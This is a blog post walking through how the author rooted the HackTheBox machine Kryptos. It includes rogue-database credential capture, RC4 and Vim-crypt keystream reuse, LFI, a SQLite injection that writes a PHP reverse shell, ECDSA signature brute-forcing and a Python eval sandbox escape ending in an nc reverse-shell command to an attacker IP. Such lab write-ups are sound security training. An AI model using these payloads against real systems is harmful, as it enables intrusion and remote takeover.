Search This Blog

Saturday, September 21, 2019

Kryptos HacktheBox Writeup


Well, Kryptos finally retired; it was an amazing but very difficult box.  Here is my writeup of it.  We begin with an nmap scan.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Cryptor Login

Nothing too special.  Let's take a look at the webpage.  Capturing a test login request reveals the following:
username=afsd&password=afds&db=cryptor&token=eff837564b9721640501f9f6fbba4779aa8d346c168216790c2d87d7534cb6f7&login=

Seems like the database can be specified.  Watching from wireshark, I noticed that adding host=ip_address:3306 ends up redirecting the database connection to my computer (as port 3306 runs the mysql server).  With Responder3, I edited the config file in examples folder to include MYSQL.  Then I started it with the following command:

sudo python3 Responder3.py -I tun0 -p examples/config.py -4

Then, by editing the request with the host part in Burp, I ended up capturing the creds.

$mysqlna$4141414141414141414141414141414141414141*b25658e4107b15ab804df5d06e47ee40a97f2a53

With rockyou, we get krypt0n1te

From wireshark, we see the user is dbuser.

Interesting... we can probably fake some creds in our own malicious database using their database creds to redirect it.  From wireshark, I also saw that the creds I enter are passed as md5.  My fake user was test:hi.  I took the following steps to configure the malicious database:

1. Make bind address 0.0.0.0 in /etc/mysql/maridadb.conf.d/50-server.cnf and then logon to the database locally as root.

2.  Use the following queries to set up the fake database.
CREATE DATABASE cryptor;
CREATE USER 'dbuser'@'kryptos.htb' IDENTIFIED BY 'krypt0n1te';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES ON cryptor.* TO 'dbuser'@'kryptos.htb';
USE cryptor;
CREATE TABLE users (username VARCHAR(20), password VARCHAR(50));
let's use INSERT INTO users (username, password) VALUES("test", "49f68a5c8493ec2c0bf489821c21fc3b");

And now you should be able to login after redirecting the connection to our malicious database!

Now we see a screen about cryptography, with an AES-CBC or RC4 option and you can specify a file for encryption (I hosted all my files on python http server).  Don't be like me and waste hours attacking CBC (I did this because I just finished a recent magic padding oracle problem).  RC4 is obviously the way to go.  Basically, the plaintext is xored with a keystream.  Therefore, by simple logic, you can decrypt any file you like.  How?  Well you can access the encrypted result.  If you xor the cipher with the same keystream, you will get the plaintext (duh).  And what is a common php page?  Index.php.  I played around for a while and with dirb, found a /dev directory and tested this out there.  Here is what it had:

<html>
    <head>
    </head>
    <body>
<div class="menu">
    <a href="index.php">Main Page</a>
    <a href="index.php?view=about">About</a>
    <a href="index.php?view=todo">ToDo</a>
</div>
</body>
</html>


Let's check out todo.php.

<h3>ToDo List:</h3>
1) Remove sqlite_test_page.php
<br>2) Remove world writable folder which was used for sqlite testing
<br>3) Do the needful
<h3> Done: </h3>
1) Restrict access to /dev
<br>2) Disable dangerous PHP functions

Ooh... several hints!  Now what is sqlite_test_page.php?  Only some html code at first :(
What are some other LFI bypass techniques?  I was using this cheatsheet for LFI and found that the php filter method worked; this method base64 encodes, so you must base64 decode it.  I really should have scripted this LFI like my friends and teammates, but I was feeling lazy that day.  Oh well.  Here's what the test page had after sending http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page

<html>
<head></head>
<body>
<?php
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=".$bookid;
if (isset($bookid)) {
   class MyDB extends SQLite3
   {
      function __construct()
      {
// This folder is world writable - to be able to create/modify databases from PHP code
         $this->open('d9e28afcf0b274a5e0542abb67db0784/books.db');
      }
   }
   $db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "Opened database successfully\n";
   }
   echo "Query : ".$query."\n";

if (isset($no_results)) {
   $ret = $db->exec($query);
   if($ret==FALSE)
    {
echo "Error : ".$db->lastErrorMsg();
    }
}
else
{
   $ret = $db->query($query);
   while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
      echo "Name = ". $row['name'] . "\n";
   }
   if($ret==FALSE)
    {
echo "Error : ".$db->lastErrorMsg();
    }
   $db->close();
}
}
?>
</body>
</html>

The following things popped out to me:
$query = "SELECT * FROM books WHERE id=".$bookid;
$ret = $db->exec($query);

Obviously, there is a silly sql injection here.  It's using SQlite3 and from this cheatsheet, I found a way to RCE on sqlite by using attach database to create a file and we can specify what is inside the file and then access it (as a php file, that will lead to RCE).  The basic idea is like this:

http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=3; attach database "/var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/test.php" as pwn; create table pwn.s (dataz text); insert into pwn.s (dataz) VALUES ('content')

Note that the filename must change everytime for it to work properly and our requests should be URL encoded in Burp (it did not always work in Burp for me, so I let Python send the requests and the following command has the escapes for Python):

http://127.0.0.1/dev/sqlite_test_page.php?no_results=true%26bookid=1%253b%2bATTACH%2bDATABASE%2b\'/var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/test31.php\'%2bAS%2btest31%253b%2bCREATE%2bTABLE%2btest31.pwn%2b\(dataz%2btext\)%253b%2bINSERT%2bINTO%2btest31.pwn%2b\(dataz\)%2bVALUES%2b\(\'\<%253fphp%2b\$sock%253dfsockopen\(\"10.10.14.189\",1234\)%253b\$proc%2b%253d%2bproc_open\(\"/bin/sh%2b-i\",%2barray\(0%253d\>\$sock,%2b1%253d\>\$sock,%2b2%253d\>\$sock\),%2b\$pipes\)%253b%2becho%2b\"hello\"%253b%2b%253f\>\'\)

Why was the following reverse shell command used?  Check this post a friend of mine sent; it's related to file descriptors and Apache.  Then, simply accessing the location of that file in dev launches the shell.  However, do note that this rarely worked for me afterwards after my first two tries again... maybe the box was slightly broken and someone who rooted messed with the permissions when I was doing it.  Most others simply used builtin php functions to slowly enumerate the directories, eventually coming upon /home/rijndael/creds.txt.  Downloading this file reveals it is Vim encrypted.  Of course there's more crypto!
The normal Vimcrypt crackers online do not work.  However, a friend provided me with this blogpost.  Basically, vim blowfish used repeating keystreams at one point.  If we know part of the plaintext, we can easily crack this through xor by figuring out the keystream.  The creds.old file had: rijndael / Password1.  It's safe to assume that this encrypted file starts with rjindael so we can retrieve the keystream for the rest of this small file as Vim blowfish does use CFB, but reuses the same IV for the first 8 blocks.  With some scripting, I obtained the following creds (strip the first 28 bytes that contain header, IV, and salt and then treat the rest as 8 byte blocks).

rijndael : bkVBL8Q9HuBSpj

And now, I ssh in and get user!
Now, for priv esc, we see kryptos/kryptos.py.  It runs on localhost port 81.  It has an eval bug when requests are run through /eval, but builtins are stripped.  That's no problem, thanks to this post!  The vulnerable file looked like this:

import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp


def secure_rng(seed):
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()

def verify(msg, sig):
    try:
        return vk.verify(binascii.unhexlify(sig), msg)
    except:
        return False

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

@route('/', method='GET')
def web_root():
    response = {'response':
                {
                    'Application': 'Kryptos Test Web Server',
                    'Status': 'running'
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)

@route('/eval', method='POST')
def evaluate():
    try:
        req_data = request.json
        expr = req_data['expr']
        sig = req_data['sig']
        # Only signed expressions will be evaluated
        if not verify(str.encode(expr), str.encode(sig)):
            return "Bad signature"
        result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
        response = {'response':
                    {
                        'Expression': expr,
                        'Result': str(result)
                    }
                    }
        return json.dumps(response, sort_keys=True, indent=2)
    except:
        return "Error"

# Generate a sample expression and signature for debugging purposes
@route('/debug', method='GET')
def debug():
    expr = '2+2'
    sig = sign(str.encode(expr))
    response = {'response':
                {
                    'Expression': expr,
                    'Signature': sig.decode()
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)

run(host='127.0.0.1', port=81, reloader=True)

I ended up making the following script for it to work and sign RCE commands along with the method to bypass builtins.  I just ripped off the original script and replaced a few parts to bruteforce the signature part:

import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
import os
import sys
#python 3

def secure_rng(seed):
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

def verify(msg, sig):
    try:
        return vk.verify(binascii.unhexlify(sig), msg)
    except:
        return False

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

debug_hash = sys.argv[1]
debug_expr = '1+2'
discoveredSeed = False
while not discoveredSeed: #bruteforce
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()
if verify(str.encode(debug_expr), str.encode(debug_hash)):
discoveredSeed = True

while True: #put on infinite loop so no need to brute force again
msg = input('RCE for signing: ')
print("Signature: " + sign(str.encode(msg)).decode())

Then I just popped a reverse shell as root with the following curl command after signing.

curl http://127.0.0.1:81/eval -H "Content-Type: application/json" --request POST --data '{"expr": "[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == \"catch_warnings\"][0]()._module.__builtins__[\"__import__\"](\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.13.35 5555 >/tmp/f\")","sig": "07c7e98a1117efa239d70d6523da743e3775405e39dc63e918dc0d16ebbc5fefaf5b988c9d81da52b990a34ea999ace6836db1e1f238555e9c4030e50cdc1cc0f7484b7d7eb9445c76bdbda3b0961eb2bd31375c10b6e8ebe74f18f8d58f38c5"}'

Great box overall!


No comments:

Post a Comment